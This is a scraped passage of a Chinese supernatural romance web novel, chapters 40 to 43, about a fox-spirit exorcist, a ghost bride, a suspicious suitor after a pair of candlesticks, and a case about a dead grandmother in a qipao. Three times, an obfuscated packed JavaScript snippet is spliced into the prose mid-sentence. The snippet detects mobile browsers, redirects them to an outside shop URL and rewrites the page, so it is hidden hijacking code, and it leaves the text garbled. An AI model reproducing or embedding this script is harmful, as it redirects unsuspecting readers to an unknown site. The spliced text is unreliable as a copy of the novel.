穆迎秋笑了笑：“猜到了，不过我没有他的联系方式，所以……” “他像个老古董。”林疏不得不替姬悬月找补了几句，然后低头扫码点单。 “不用点，我替你点了。”穆迎秋微笑着按住他的手机。 林疏：“？” 很快，咖啡厅的服务员端来了拿铁。 林疏：“……” 其实他今天想试试卡布奇诺。 但是人家都点了，林疏便耸肩，欣然接受。 反正0是可以心安理得接受1献殷勤的，不管对方有什么目的。 他身后的姬悬月就抱着臂，冷冷斜视。 是的，姬悬月当然来了，只不过，他是贴了抑制阴气的符咒，以鬼魂的方式飘在了林疏的身后。 40. 第 40 章 穆迎秋本来打了一肚子腹稿，但在林疏落座提起“穆羽”后，他就又把这些都忘光了。 只好喝了口咖啡，开始想话题。 但他没想到林疏是开题人。 林疏直接道：“那天你发给我的微信，我和穆羽都看见了。” 穆迎秋：“……” 穆迎秋艰难道：“我那天的言论可能有些欠考虑，但我确实没有……挖谁墙角的意思。” 林疏似笑非笑地看着他。 穆迎秋吁了口气，坦诚道：“好吧，我承认，我原本对穆羽很有兴趣，但我们撞型号，所以我只好来试探你。” 林疏抿了口咖啡，漂亮的睫毛垂下：“你试探什么？你要跟他公平竞争什么？” 穆迎秋则坦荡得好像从来不知道脸皮是什么东西：“我喜欢长得好看的人，所以——你也在我的狩猎范围内，而你们两个毕竟没有结婚，我的确想跟他竞争你，这样说你能接受吗？” 林疏点点头：“可以理解，毕竟我长得那么好看。” 穆迎秋：“……” 林疏却又笑了笑，道：“但我和穆羽确实不是你以为的关系，我们只是合租，而他对一切电子设备都不太擅长，所以我会帮他。” 穆迎秋道：“说实话，我不相信。我觉得你们至少也是友达以上，恋人未满。” 林疏坦然道：“在这之前，我一直以为他是0。” 穆迎秋：“……” 林疏身后的姬悬月：“……” 穆迎秋终于破功，笑出了声：“不瞒你说，我也……所以你其实一直把他当姐妹？” 林疏朝椅子上一靠，无奈道：“长那么好看一张脸的1也太少见了，这不能怪你我雷达不准、识人不清。” 这样一插科打诨，气氛一下子就和缓了下来，穆迎秋也轻松了许多，他揉揉鼻子道：“我确实对穆羽的脸还挺心动的。但撞型号很伤，我不会为爱做0，他也是。但我很好奇——” 他坐直了，朝林疏微微压下上半身，低声道：“你们型号合适，你就没想过试一试吗？” 林疏耸肩道：“我心里有人，不想谈恋爱。” 是的，林疏赴约的目的并不完全是烛台。 他是想借着和穆迎秋的交谈，把这件事，透露给身后的姬悬月。 穆迎秋果然很惊讶，他问道：“是少年时代的爱人吗？” 林疏摇摇头。 穆迎秋就笑了：“gay的爱情想要长久是很难的，如果不是少年时候的心动，你这样的人……我不信你会为了谁而封心锁爱。” 林疏也笑了：“你不信？” 穆迎秋摇头：“我不信，我也有过刻骨铭心的爱情，我们现在都还有联系。但我不会为了纪念某一个人，就错过我未来的爱人。” 林疏道：“那么，如果你深爱的人死了，你会去寻找他的转世吗？” 穆迎秋愣住了。 他对面、林疏身后的姬悬月，也愣住了。 林疏微微一笑：“迎秋，你知道我的职业，我是灵调局的特派天师。” 穆迎秋先是笑了，他有些不敢置信，但林疏平稳无波的表情让他意识到，林疏说的话是认真的。 他的笑容很快就消失了。 林疏道：“在二十四年前，我有过一个刻骨铭心的爱人，他死了。而我，因为某些不可抗力，把他忘了。” 穆迎秋对灵异玄学的认知还停在有剧本的通灵之战和走近科学。 他第一反应，是林疏在开玩笑。 林疏继续道：“但我始终记得一切爱他的感受。所以，就算我忘了他的名字，忘了他的样子，却始终没有忘记我爱他的事实。他重新投胎的话，现在应该是二十岁出头，我已经找了他很久。” 穆迎秋问道：“找到他之后呢？” 林疏微微一笑：“那当然是与他重新相识，再续前缘。” 说这些话时，林疏始终平和地注视着穆迎秋的眼睛，他从那双眼睛里，能看见他背后的、姬悬月的身影。 姬悬月原本抱臂站着，此时他的手臂已经放下了，正目光沉沉盯着林疏的背影。 穆迎秋的眼睛太远，林疏看不清楚倒映的姬悬月的表情到底如何。 但话说出口之后，他并未感到轻松。 穆迎秋问道：“可是，如果他重新投胎转世的话，应该不会记得你了吧？” 林疏道：“没关系，只要他还是他。” 穆迎秋无奈地笑了，他摆摆手：“我有些……” 林疏：“接受不了是吧？没关系，觉得我疯了的也大有人在。” 穆迎秋忙道：“不是，我只是觉得你……很浪漫。” 林疏：“……” 穆迎秋含笑道：“如果你找不到你的前世爱人，不如考虑一下我？” 林疏：“？” 穆迎秋含情脉脉道：“我觉得执着寻找前世爱人的你真的好可爱，好浪漫，我好喜欢。” 林疏客客气气道：“谢谢，但我心里只有那一个人，再也装不下其他人了。” 如果时间可以暂停，他一定会先捋掉自己胳膊上的鸡皮疙瘩。 穆迎秋笑道：“没关系，你慢慢找，我可以慢慢等你。” 林疏唇角一勾：“你是这样纯情的人吗？我倒是没看出来。” 穆迎秋马上展开双手：“我非常诚恳，没有一句假话。不信你看看我的手相。” 说着他把右手伸到了林疏面前。 “……”林疏面无表情道，“手相并看不出来你有没有说谎，要看说谎，得用测谎仪。” 穆迎秋：“……” 林疏朝着穆迎秋露出一个危险的微笑：“要跟我去局里走一趟吗？” 穆迎秋面不改色，却伸手去捉林疏的手腕，然后将他的手掌按在自己结实的胸大肌上。 “我觉得你可以听见我的心声。”他道。 林疏：“……” 林疏身后的姬悬月：“……” 林疏迅速将手扯了回来，冷漠道：“我的手是手，不是听诊器。你回国不是为了找那个烛台吗？已经找到了，为什么还不回去？” 穆迎秋眉毛一扬：“我急什么？反正两个烛台已经凑在一起，我哥的目的达到了，我就可以先不回去了。” 林疏微微一笑：“将物品凑成一对，当然是为了高价卖掉，你不亲自送回去，就不怕物流给你弄丢了？” 穆迎秋道：“那当然害怕，所以我没有寄回去，两只现在都在我那里。他想要的话，就自己过来拿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883389|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林疏道：“你好像对你哥哥有怨气。” 穆迎秋不置可否道：“反正什么家传啊、古董的，都交给我哥哥了。我只需要当一个玩物丧志的弟弟，麻烦事都丢给他就好。” 林疏轻啜一口咖啡：“亲兄弟更应该明算账。” 穆迎秋道：“算不了，我可以跟男人结婚，但我哥哥不行，所以他曾经一度很恨我，原本该给我的东西也不想给了。” 林疏一愣：“你哥哥也……” 穆迎秋点头：“他也是男同，而且口味与我类似，说不定他一见到你，就连未婚妻都不想要了。” 林疏：“……” ……总之林疏花了点功夫才装出面不改色，跟穆迎秋微笑道别。 这一趟没有白来，林疏心想，穆迎秋这人绝对有问题。 不是每个人都能顶着对方对他人的一往情深，还能说出那么肉麻的表白。 而且穆迎秋提到了一对烛台，提到了他哥，提到了“古董都交给哥哥”。 信息量很大，不管烛台在不在他手里，这两兄弟都有问题。 林疏知道自己应该细致复盘，但他的目光总是不自觉落在姬悬月脸上。 回去的路上，姬悬月始终看着窗外。 这次姬悬月没有实体，司机当前，林疏不好跟他闲聊。 但林疏屡次去瞧姬悬月的后脑勺，猛然发现，鬼新娘的头发还保持着被他剪得乱七八糟的状态。 于是回到家后，他不得不硬着头皮道：“哎，姬悬月，你要不换一身衣服，我给你贴个符，带你去剪头发吧。” 姬悬月礼貌微笑：“我觉得这样蛮好。” 林疏：“……”狗啃一样哪里好了。 姬悬月却突然道：“你的……亡夫，是什么样的头发？” “啊？”林疏一愣。 姬悬月道：“他是长发吗？” 林疏下意识摇摇头：“我不记得了……” 姬悬月道：“你带我回来的那天，我记得，你对你的同事小纪说，我与你亡夫神似。” 林疏回想了一番，愣住了，他明明是隔着收容处的玻璃对小纪说的，姬悬月是怎么听到的？ 但眼下问题压在眼前，虽然当时那句“与亡夫神似”是信口胡诌的，林疏却心中一动。 这好像是个……很好的理由。 林疏的迟疑落在姬悬月眼里，已经是答案了。 他没说什么，只是笑了笑，就站到窗边去了。 林疏瞧着姬悬月眼中光芒消失的样子，张了张口，最后还是什么都没说。 姬悬月要讨厌他也好，毕竟，连他自己都不知道他到底想要什么。 所谓的亡夫只不过是脑中一团隔了无数岁月的浓雾，他看不清楚，记不真切。 可他和姬悬月没有未来，却是无比清楚和真切。 于是一整个周末，林疏和姬悬月都在沉默中度过。 林疏在脑中细细复盘了和穆迎秋的这次会面，并得出了两个结论： 一、两个烛台现在都在国内，被穆迎秋一起带过来了。 二、要那对烛台的人是穆迎秋的哥哥，具体要来做什么，穆迎秋恐怕也不知道。 但穆迎秋知道这对烛台能牵制他哥。 41. 第 41 章 只可惜这些事林疏没办法跟姬悬月深入讨论了。 又到周一，林疏重新开始上班，他哀嚎着不愿起床。 到了单位后也是百般的难受，工作五分钟，摸鱼一小时。 姬悬月仍旧被他关在玻璃杯，或者栓在手腕上—— 那条丝带他是无论如何也没办法拿出来了。 上午摸完鱼，下午继续摸。 林疏跳了大|神，撤了供桌，继续对着窗户发呆。 他知道姬悬月就在自己身后。 目光可能落在他身上，也可能没有。 小狐狸的感觉一向敏锐。 只有用在姬悬月身上的时候，屡战屡败。 下午三点，林疏翻阅案卷，想起林聆说过的“九龙千年柱异动”，便拖着疲惫(?)身躯，带着姬悬月临时出了一趟外勤。 九龙千年柱还是老样子——和林疏刚到鹤城时来看的时候一样。 说什么千年柱，其实就是九根破破烂烂的石柱，参差不齐，最高的大概只有两米，上面雕刻的龙纹都被日晒雨淋磋磨得不成型了。 这九根柱子呈菱形排列，最右边那根还断了半截。柱子上面拴着不少晾衣绳，今天天气不错，附近的村民都来这里晒起了被子。 林疏牵着姬悬月站在石柱边唏嘘。 他趁着没人注意，烧了一张溯灵，无事发生。 这里根本没有异动。 林疏觉得白跑一趟，正打算回去问问林聆是怎么回事，却发现姬悬月怔怔看着那九根石柱。 想起姬悬月的血孽，林疏心中一动，马上问道：“你怎么了？” 姬悬月过了好一会儿，才问道：“这里离穆家老宅有多远？” 林疏莫名其妙，在心里估算了一下，道：“还挺远的，从这里骑车过去的话要一小时左右才能到。” 姬悬月便不说话了。 林疏问道：“你是想起了什么吗？” 姬悬月摇摇头：“没有想起，我也不记得这个地方。只是站在这里我的情绪就很乱，从刚才起就很乱，感觉有一股气在胸口横冲直撞。” 林疏吓了一跳，心想你可别是怨气冲天了吧？他赶紧推着自行车道：“走走走，这里没事，赶紧回灵调局。” 姬悬月望着石柱，有些不想走，但林疏的表情他看在眼里，只得乖乖坐在自行车后座上。 他其实有很多话想说。但现在他和林疏关系别扭，也就只好都咽下去不提。 林疏回到灵调局，将九龙千年柱没有异动的事报告给了林聆，林聆却只说了一句知道了，就没再问别的。 林疏摸不着头脑，只好回了办公室，继续摸鱼。 下班后，他慢悠悠骑着车，带着姬悬月回家。 才进小区，就看见单元门门口停着一辆车。 一看那车牌号，林疏眼睛亮了，马上冲过去敲车窗：“老赵！老赵！” 车窗很快摇下来，一个看起来三十多的英俊男人扒下墨镜，笑嘻嘻道：“小狐狸，你还好嘛！” 林疏道：“不好不好！老赵，快上楼，外面热死了。” “车里可不热。”老赵复又戴上墨镜，但已经很自觉拉开车门下来了。 他个子颇高，快赶上一米九的姬悬月了，而且他意味深长地打量了姬悬月一眼—— 他能看见这个鬼新娘！ 姬悬月顿时警惕起来。 林疏却丝毫不意外，他拖着老赵的手冲进电梯，边走边问：“我师父呢？他是不是也快回来了？” “老顾？快了快了。”老赵被拽得跌跌撞撞，钻进电梯后还不忘给身旁的姬悬月让了个位置。 姬悬月：“……” 老赵笑眯眯道：“你怎么还养了个鬼新娘？” 林疏扯谎道：“那什么，你也看见了，男鬼新娘，局里不好安置，我师娘就先托付给我了。” 老赵却隔着墨镜打量姬悬月，然后对着林疏笑得颇有深意。 林疏有些怕看老赵的眼睛，到了楼层他就赶紧拉着老赵下了电梯，然后打开房门，将人让了进去。 “有点乱，别嫌弃。”他笑着去倒茶。 老赵也不客气，一屁股坐在沙发上，透过鞋柜的玻璃，看林疏给姬悬月解开缚灵索。 林疏在厨房小声叮嘱姬悬月：“这位曾在鹤城的市局当过正科级干部……后来因为某些特殊原因被灵调局收编了，算是我的上司！他能看见你！等会儿记得打招呼……” 姬悬月问道：“你对上司直呼‘老赵’？” “……”林疏有气无力解释道，“他本名赵潜州，现在伤退了，在环游世界，是他自己让我这么叫他的。但他在灵调局跟我师父师娘算是一个级别的，你礼貌点，叫他赵先生吧。” 姬悬月：“……” 两人回到客厅，姬悬月马上露出自己最纯良无害的笑容：“赵先生您好，我叫姬悬月。” 赵潜州点点头：“你好，你是世上最后一个血孽吧？” “……”林疏开始用眼神求饶：老赵他不是你的功德求求你高抬贵手！ 姬悬月：“……是的我是。” 赵潜州却没再说什么，只是笑眯眯抿了口茶。 林疏没话找话道：“我听我师娘说过你这次去欧洲啦？” 赵潜州道：“是啊，想去找找唐疏的师承，不过他那支不死鸟的血脉已经彻底湮灭了，无功而返。所以这不是来找你了？你还记得唐疏当年在哪里捡到你的吗？” 林疏摇摇头：“我只记得二十多年前师父捡到我的地方，唐疏那次我已经不记得了。” 赵潜州啧了一声：“我都跟你同事打听过了，你小子连你亡夫都记得，会不记得唐疏？” 林疏理直气壮道：“亡夫不过二十多年前，我怎么会不记得？哪怕名字忘了长相忘了，爱过总会记得吧？” “？？？”赵潜州面露困惑，“什么二十多年……你亡夫不是在唐疏捡到你的时候就死了吗？” “啊？”林疏傻了眼。 赵潜州皱眉：“你这什么记性。唐疏什么时候死的你还记得吗？” 林疏呆滞摇头。 赵潜州叹口气：“你们这群天狐，没一个脑子好使的，整天给别人清洗记忆，却连自己的记忆都保管不好。” 林疏不说话了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883390|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵潜州道：“那我不打扰你了，你这条路走不通，我只好去找林聆了。回见，小狐狸。” 说完，他就走了。 林疏坐在原处久久没动。 姬悬月有些不安，又不好直接问，只得旁敲道：“这是什么人？他说的唐疏捡到你……又是怎么回事？” 林疏喃喃道：“该怎么解释……我不是说过天狐能活好多年吗？那你有没有想过，我在被师父师娘捡回来之前，在做什么？” 林疏不记得，不代表他没有存在过。 上次脑中空空地醒来，是在二十四年前。 但在更久远的从前时光，林疏曾经浑身是伤被一个天师救走过。 那个天师，就是唐疏。 虽然林疏不记得唐疏，但唐疏有个不老不死的爱人赵潜州。 唐疏死后，赵潜州就辞了职，满世界找他的涅槃之地，也就逐渐与林疏失了联络。 后来林疏有一次遇险，修为全没了不说，还变回了狐狸身，成了个小傻子。 就被赵潜州托付给了旧友顾煜城。 而后，顾煜城和林聆一路抚养小傻子，并多少告诉了他一些曾经的事。 关于天狐，关于唐疏。 他就给自己取了“林疏”这个名字。 是两个恩人的合集——林取自林聆，疏取自唐疏。 这代表着，是这二人给了他新生。 虽然对唐疏已经完全没有印象，但他心中一直把唐疏放在和林聆同样的位置上。 可是…… 赵潜州说，林疏的“亡夫”，在唐疏捡到他的时候，就已经死了。 这怎么可能？ 林疏有些错乱：“我明明记得……他是二十多年前……不，二十多年前是我潜意识里这么认为，我没有证据。难道……” 他顿住，再说不出一句话来。 他心想，完了，如果是这样，那他亡夫早不知道投胎多少轮了。 他一直在找二十多岁的男人，根本就是无用功，因为他根本不知道亡夫究竟离开了多少年！ 姬悬月看着几乎要情绪失控的林疏，赶紧上前安慰道：“你别太担心，一定能找到的。” 林疏喃喃道：“找不到了……我连他长什么样子、叫什么名字都不知道，现在连年龄也不知道了……我甚至不知道他投了几次胎。” 其实姬悬月也觉得此事无解，但眼下他不能直接说，只能硬着头皮道：“可以慢慢找，人这一生会遇上很多很多人，天狐又能活那么久。就算现在找不到……” 林疏却一下子想到了什么，他马上给赵潜州发微信：“唐疏捡到我是哪一年？我亡夫是那时候刚死的吗？” 赵潜州很快回了微信过来：“那大概是八十多年前吧，你亡夫是不是当场死的我不知道，但你那会儿离死是不远了。” 林疏丢下手机开始掐算：“八十多……八十多……” 姬悬月本能道：“如果是八|九十年前投胎，现在他可能都是耄耋老头了，你可以等他死了再……对不起，我不是这个意思。” 说错话了， 姬悬月恨不得把自己舌头咬下来。 42. 第 42 章 林疏却连连摇头：“不，我不能等他再死了。” 姬悬月一愣，他缓缓道：“你的意思是……如果他活着，就算他是个老头，你也……非要去跟他再续前缘吗？” 林疏听了这话，觉得胸口闷闷的难受。 但他还是点了点头。 姬悬月急切道：“如果他不记得你了呢？如果他已经儿孙满堂了呢？如果这一世他根本就不是gay、不会爱你了呢？” 林疏一时心乱如麻，本能道：“我答应过他，要与他共白头的。” 姬悬月：“……” 姬悬月难以置信道：“你疯了吗？” 林疏抬头，看见姬悬月苍白的脸都气得通红。 他也知道自己这番言论气死人。 可他不敢否认。 仿佛……他否认了，就不再是那个忠贞的小狐狸了。 就可以……跟姬悬月…… 不，他不能。 就算是骗姬悬月，也不能。 林疏垂下眼睑，不再与姬悬月对视。 姬悬月简直出离愤怒了！ 怎么能有人这样糟践自己！ 姬悬月气得原地转来转去，最后无法忍受，大声道：“他转世之后就不是他了！你为什么不明白呢？” 林疏沉默了很久，最后道：“可我爱他，天狐的寿命那么长，怎么可以爱别的人？” 姬悬月熄火了。 他终于意识到，眼前的人不是人，是一只狐狸。 是一辈子只会爱一个人的天狐。 他突然开始羞愧。 他是一个低贱的人类，死成了一只低贱的鬼，他那样轻易就忘记了自己的爱恨，并爱上了另一个人。 感情的事很难说孰对孰错，但他明白，自己不能再置喙林疏的感情。 明明告诫过自己，退一步，再退一步。 可姬悬月没想到，他竟然容忍不了小狐狸那样糟蹋自己的感情。 那么可爱、那么好的小狐狸。 姬悬月觉得自己喘不过气来，他不要跟林疏讲话了。 ……也没办法再跟小狐狸讲话了。 他怕他一开口，胸口满溢的感情就会抑制不住地全都涌出来。 家里的气氛变得十分沉闷。 闷得林疏坐也不是躺也不是，索性起来去洗澡。 洗完澡画符。 画完符睡觉。 期间姬悬月就安安静静待在沙发上。 林疏觉得好像回到了姬悬月没来的时候，家里安安静静，只有他一个活物。 ……其实现在也只有他一个活物。 这是什么地狱笑话，林疏自嘲着，在床上翻了个身。 第二天，又沉默着上了一天班。 林疏察觉到了姬悬月不愿再与他交流，一时觉得欣慰，又觉得难过。 如果姬悬月就这样开始讨厌他了，也算是好事。 但林疏就是提不起劲儿来。 看案卷也觉得集中不了注意力。 好在他业务熟练，忙碌一天下来，也没出什么错漏。 快下班时，灵协办那小科员又来了，让林疏去一趟。 林疏本能想将姬悬月拴在手腕上，但他回想起上次姬悬月差点死在林聆手里的场景，还是放下缚灵索，拧开了玻璃杯。 姬悬月非常懂事地钻进去，任由林疏旋紧盖子。 林疏来到灵异调查协助办公室，见到了还在忙碌的林聆。 林聆瞧他一眼，锐利目光让林疏觉得自己被看透了。 林聆却收回目光，一开口，说的是关于那个“置换”案的始末。 “那只金蚕蛊不是出自档案记载的蛊王，”林聆头也不抬了，就递给林疏一份鉴定材料，“它的年份不足三年，蛊印还很清晰，是新炼的。” 林疏对比着鉴定结果，蹙眉道：“三年？” 林聆点头：“这种很明显是新蛊的蛊印，一位蛊王只能养一只金蚕蛊，所以，鹤城在你我不知道的地方，诞生了新的蛊王。” 林疏道：“我查过档案室的材料，本省的蛊王基本都断了传承，难道他们之间有人说了谎？” 林聆却不慌不忙喝了口茶，道：“你忘了，乌多寨的蛊王后人，移民出国了。” 林疏蹙眉，一提起“移民”两个字，他就会想起穆迎秋。 林聆道：“据我所知，乌多蛊王的后人，去的仿佛是意大利。” 林疏：“！！！” 果然！穆迎秋这厮绝对藏着坏！！！ 林聆却一笑，转移话题道：“你的鬼新娘呢？” 林疏：“……” 哪壶不开提哪壶！ 林疏悻悻就要走，被林聆叫住。 林疏回头，林聆递给他一个案子：“你出差那几天这个案子转到我这里来了，我去看过，用不着灵协办出手，所以还是交给你。” 林疏接过，发现是自己见过的案子——九旬老太死后不安宁，屡屡附身子孙后代。 他记得当时自己还没来得及做法沟通，就被林聆打发去民国出差了。 这案子看起来也不复杂，属于开坛把老太太拘过来问问就能解决的事，林聆为什么留到今天？ 林疏拿着案卷一边看一边回办公室，一进门，就看到姬悬月坐在他办公椅上，正在玩他的手机。 林疏：“……” 见林疏进来了，姬悬月就默默起来了，顺着玻璃杯盖的缝隙，老老实实钻回玻璃杯。 林疏拿起玻璃杯看了看，好吧，确实盖不紧，这个玻璃杯的杯盖里面，胶圈好像早就丢了。没有密封的法器，贴什么符也管不住妖魔鬼怪。 但是…… 林疏突然有些想笑，姬悬月明明一直都能爬出来，居然没有逃走。 虽然这里是灵调局，他跑了也会很快被抓回来。 但是林疏拎着他上下班的时候，他都有机会跑掉的。 林疏叹了口气，将杯盖拧开了，道：“你出来吧，我接到新案子了，带你出外勤。” 这是两天来林疏第一次这样好言好语跟姬悬月说话。 但姬悬月缩在杯子里，不太想理他。 林疏道：“你还记得……回去民国之前，我跟你说过的老太太的案子吗？” 姬悬月：“？” 林疏将装着案卷的档案盒摊开，放在办公桌上。 姬悬月就慢吞吞从杯子里出来了，跟林疏的脑袋凑一起，去看那档案盒。 案卷之前林疏已经看过，此刻草草翻过，就看到底下的附页中夹着一张分局的笔录复印件，日期在约半月前。 2023年8月7日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883391|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，报案人苏穗城，带着他八岁的小女儿苏希盈来到了勤山区派出所，报案说有人贩子拐小孩。 这在当时掀起了一阵轩然大波，因为苏穗城先生同时在某音发了一条短视频讲述事情经过，叫大家一定看好自己的孩子。 当然，因为事涉灵异案件，此视频已经被网警删干净了，但交给灵调局的这份案卷里还留档了一份。 林疏一边阅读笔录，一边把案卷中的储存卡插进读卡器，用局里的电脑将视频打开了。 视频的拍摄者苏穗城看起来四十岁上下，微有秃顶，长相是典型的南方人。他给自己的眼睛打了马赛克，言语琐碎地控诉勤山区治安差： “我女儿呀今年才八岁呀，八岁的小孩都读小学了呀，我们每天教育她不要同陌生人讲话，结果那天她放学了好久没回来，我和我爱人去找她，她在那里小区门口那里，拐角那里同人家讲话。” “我们赶紧过去，那个人就跑了，我问女儿跟谁在讲话，她说一个老婆婆。现在这个时代是怎么了，坏人都变老了呀！我女儿说她看起来那么慈祥的哦，长得那么慈祥结果要拐人家的小孩。” “监控又看不到那个人长得什么样子，我女儿说那个老婆婆还穿着旗袍，搞笑哦拐卖小孩的人还穿旗袍……” 林疏听到这里，扫了一眼屏幕，又低头，手指沿着一行行文字寻找——案卷中记载，警察后来的走访过程中得知，苏穗城大舅哥家的重孙宋思哲，也见过这个旗袍老太太。 这个案子其实分局的警察已经调查得差不多，查到最后，苏穗城和他的妻弟宋玉都支支吾吾，说不出来更多。 然后警察们就从苏太太的口中得知，“旗袍老太”是她和宋玉过世的奶奶、孩子们的曾祖母。 警察们：“……” 而后他们就搜罗了所有相关人证物证，将案子递交到灵调局，同时也继续追踪可能存在的人贩子“旗袍老太”。 在林疏出差去民国的这段时间里，案子在林聆手里转了一圈。这位行动力极强的主任只用了一天就确定了“旗袍老太”的身份，并通知办案民警，这是灵异案件，由灵调局接管。 所以分局才递交了剩余的调查资料，也即林疏手上的这几份。 资料表明，只有两人见过旗袍老太，分别是报案人苏穗城的女儿，和苏穗城的妻弟宋玉的儿子。 而苏穗城的妻子宋珠，和她的弟弟宋玉，都在第二次协助调查时表明：据孩子的描述，旗袍老太身上的“旗袍”，与他们的奶奶宋老太下葬时穿的那件，一模一样。 所以林疏的第一项工作，是要去找这个老太太。 陈璧兰，“旗袍老太”的闺名。 那个年代的名字都很美，林疏感叹了一番，又根据资料掐算出了老太太的生辰八字。 “我先开个坛，跟她沟通一下，能请来最好了。”林疏一边说一边抖了抖松松垮垮的道袍，然后撸起袖子去设坛。 姬悬月全程没怎么搭理过林疏，他心里还憋着一股气。 沟通目标不是什么有名的人物，林疏也懒得买新水果，就从角落常备的果篮里挑了几个还算新鲜的，摆在供桌上，又点了香、画了符，口中念念有词，来疏通与陈璧兰沟通的“道路”。 “今天……癸卯年庚申月壬子日……”林疏一边念咒一边掏出手机看时间。 43. 第 43 章 “……”姬悬月无语旁观，总觉得林疏这副模样不太靠谱。 约五分钟后，林疏“咦”了一声。 姬悬月抱着臂站在他身后，见状开口冷嘲道：“怎么，沟通不了？” 林疏凝固了约一分钟，突然把手里的符纸丢下了。 “她不回应。”林疏一边说一边熄了香烛，将姬悬月的缚灵索往手腕上一栓，转身道，“能婉拒我的沟通，除非已成气候。我需亲自去看一趟。” 勤山区离灵调局比较远，而且在市区内，路况复杂。林疏破天荒没有骑自行车，而是带着姬悬月去坐地铁。 这个时间地铁上没有那么挤，林疏在站了两站后成功占到了座——姬悬月没有实体，不用买票，人多的时候还可以飘到地铁顶。 原本骑车需要两小时的路程，只用了一小时多一点就到了，两人爬上地面后，姬悬月嘟囔：“你以前怎么不坐这个……” 林疏十分有耐心地解释：“骑行减少碳排放，你以为地铁就不消耗能源了吗？” 姬悬月想问碳排放是什么，但又不太想跟林疏说话，就没有问。 但林疏怎能不知道姬悬月的“好学”，于是人群熙攘的大街上，林疏直接侧过头认真给姬悬月科普环保意识。 边说边走，两人就来到了苏穗城家的小区。 勤山区是一个比较老的城区，这里的小区和房子都很朴素，一副不值钱的样子，实际上寸土寸金。 林疏一边慨叹人类真是会玩钱……一边发现小区门口的KFC门口摆了个巨大的牌子，上面写着“七夕情侣半价”。 今天是七夕？ 林疏后知后觉，想起刚才开坛作法的时候确实看到了日期是七月初七。 不过那时候他一心都放在沟通天地上，完全没注意这码事。 七夕啊……他不由得看了一眼身后的姬悬月。 老小区没有门禁，林疏带着姬悬月很轻易就进去了，按照笔录中的详细地址，他很快找到了苏穗城家，抬手敲了敲门。 过了好半天，里面传出一声“来了”，片刻后，一位戴着围裙的妇女拿着锅铲出来了。 林疏先亮证件：“您好，我是灵调局的特派天师，接到了您8月7日的报案，还有一些细节……” 啪，门关上了。 林疏：“……” 还好还好，也不是第一次遇到这种事。现在的人警惕心强，可以理解。 林疏非常好脾气地面带微笑，再次敲门。 过了一会儿，门没开，林疏的手机倒是响了。 “喂？林疏，你是不是在苏穗城家门口？你稍等会儿，局里接到报警了，说有人冒充灵调局特派天师坑蒙拐骗。估计还有十分钟会有两位民警去协助你调查。”苗姨的大嗓门传来。 林疏：“……好的，谢谢苗姨。” 他面无表情挂了电话，叉着腰站在门口等。 姬悬月：“噗……” 林疏瞪他。 约五分钟后，一男一女两名身穿制服的警察沿着步梯上来了，见到林疏后，先敬了礼。林疏也回了一个道门礼，然后双方出示了各自的证件。 证件确认无误，警察们松了口气，林疏也松了口气。 警察开始敲门，并好声好气跟里面的锅铲女士沟通，最后，苏太太总算是半信半疑开了门。 “我记得鹤城的特派天师……”苏太太有点尴尬，“不是个大伯吗？” 林疏微笑着拿出证件：“杨老驾鹤西去啦，我是五月份调过来的新任特派天师，道号执风……没关系没关系，居民警惕性强对于我们来说是好事，是我唐突了，不该一个人来的。” 公安系统上门调查的确必须是两人一起，如果涉及到搜索取证，那么被搜查方是女性，还必须有女警在场。 但是灵调局并没有这种规定，因为刚从系统里分出来，很多章程都有漏洞，这是一个需要很多代同志共同努力才能完善的过程。 再加上，鹤城本就是个多事之地，自上古大魔伏诛、灵调局成立，鹤城的居民就都对特派天师一事心照不宣，协助天师办案也都还算积极。 但林疏初来乍到，确实多有不便——鹤城已故的上任特派天师姓杨，在鹤城辅助公安办案已经很多年了。 所以突然冒出一个姓林的，吃闭门羹，真的是一件很正常的事。 进门后，林疏就在两名警官的陪同下，对苏太太进行了问询。 “你亲眼见过旗袍老太吗？”林疏打开笔记本，一边问一边写。 “我没有见过，是我女儿苏希盈见过，她不在家。”苏太太双手揉着围裙的下摆，声音很小。 “那你女儿仔细描述过她见到的人吗？”林疏道。 苏太太道：“我已经跟警察同志讲过了……她说，是个头发很少的老太太，穿着一身不太合体的墨绿色旗袍，就是这种绿。” 她从茶几下面拿出一盒蜡笔，取出其中最深的绿色，在女儿画画的本子上涂抹了一下，并展示给林疏看。 然后，她露出一个非常古怪的表情：“那旗袍上，绣着蓝色的蝴蝶……是我奶奶临终时穿的衣服。” 林疏逐一记录，然后问道：“我来是想确认一下，你可以肯定那个企图拐走你孩子的人，就是你奶奶？” 